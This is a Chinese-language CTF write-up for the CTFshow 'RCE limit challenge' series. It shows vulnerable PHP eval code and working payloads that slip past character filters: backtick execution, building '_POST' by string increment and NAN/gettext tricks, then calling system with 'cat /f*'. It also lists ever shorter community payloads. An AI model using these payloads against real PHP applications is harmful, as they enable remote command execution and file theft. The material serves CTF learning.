CTFSHOW RCE极限挑战

RCE挑战1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

过滤了’(‘和’.’,没过滤反引号,内联绕过。

playload:

1
code=echo `cat /f*`;

RCE挑战2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

自增绕过。

fuzz后发现可用的可见字符有:

! $ ‘ ( ) + , . / ; = [ ] _

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$_=[];
$_ = ''.$_;
$_=$_['!'==';'];
$_++;$_++;
$_++;$_++;//E
$__=$_;
$_++;
$_++;//G
$__=$_.$__;
$_++;$_++;$_++;$_++;$_++;
$_++;$_++;
$_++;$_++;$_++;$_++;
$_++;
$_++;//T
$__='_'.$__.$_;
($$__['_'])($$__['__']);//($_GET['_'])($_GET['__'])

payload:

1
2
?_=system&__=cat /f*
ctf_show=%24_%3D%5B%5D%3B%24_%20%3D%20''.%24_%3B%24_%3D%24_%5B'!'%3D%3D'%3B'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D'_'.%24__.%24_%3B(%24%24__%5B'_'%5D)(%24%24__%5B'__'%5D)%3B

RCE挑战3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

fuzz后发现可用的可见字符有:

$ ( ) + , . / 0 1 ; = [ ] _

并且代码长度限制要小于105。

可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到”NAN”和”INF”中的字符了,

exp

1
2
3
4
5
6
7
8
9
10
<?php
$_=((0/0)._)[0]; //这里是关键,php的计算上面有说,返回N
$_++; //O
$__=$_.$_++;
//这里是进行了++的,所以$_等于P, $__=PO。
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里最后一个也是进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

至于为什么使用POST,因为N下面就有post的所有字母,而且比较近,而且php的ascii不能自减,所以组GET要废很多时间。

playload:

1
ctf_show=$_=((0/0)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);&_=system&0=cat /f*

RCE挑战4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

fuzz一下,发现可用的字符只有

$ ( ) + , . / 0 ; = [ ] _

要求长度小于84

exp

1
2
3
4
5
6
7
8
9
10
<?php
$_=(_/_._)[0]; //更短的N
$_++; //O
$__=$_.$_++;
//这里是进行了++的,所以$_等于P, $__=PO.
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里最后一个也是进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);

RCE挑战3的playload也能用,但是又尝试压到了78个字符。

playload:

1
ctf_show=$_=(_/_._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);&_=system&0=cat /f*

RCE挑战5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

限制73个字符,而且0也不可以用了

$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]($$_[0]);

重新fuzz,变量这边还能再缩,尝试一些希腊字符等不可见字符。

1
2
3
4
5
6
7
8
<?php
$%FF=_(%FF/%FF)[%FF];//N
$_=++$%FF; //O
$_=_.++$%FF.$_;//_PO
$%FF++;//Q
$%FF++;//R
$_.=++$%FF.++$%FF;//_POST
$$_[%FF]($$_[_]);

极限的73个字符。

看别的师傅的wp,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,这里可以$_=$a.$a++;来拼接PO。

预期解:

1
2
3
4
5
6
7
<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简。

playload:

1
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f*

大佬们的不同长度playload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//246
//$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=($_/$_.$_)[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
//208
//$_=[].[];$__='';$_=$_[''];$_=($_/$_.$_)[''];$_=++$_;$__.=$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$__.=$_;$___='_';$___.=$__;$__=$$___;$__['_']($__['__']);
//176
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__.=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__.=$_;$_=_.$__.++$_;($_[_])($_[__]);
//119
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$___=$_;$_++;$_++;$_++;$_=_.$___.$__.$_.++$_;($$_[_])($$_[__]);
//117
//$_=[].[];$_=$_[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//113
//$_=([].[])[''];$_=($_/$_.$_)[''];$_++;$__=$_;$_++;$__=$_.$__;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//109
//$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
//95
//$_=(0/0).[];$_=$_[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
//85
//$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
//82
//$_=((_/_).[])[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//82
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[__]);
//79
//$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_].$$_[__];
//78
//$_=(_/_._)[_];$_++;$α=$_.$_++;$_++;$_++;$_++;$_=_.$α.$_.++$_;$$_[_]($$_[__]);
//77
//$_=(_/_._)[_];$_++;$%FA=$_.$_++;$_++;$_++;$_=_.$%FA.++$_.++$_;$$_[_]($$_[%FA]);
//73

62位写法

1
2
3
4
<?PHP
$_=_(%FA.%FA)[_];//N
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])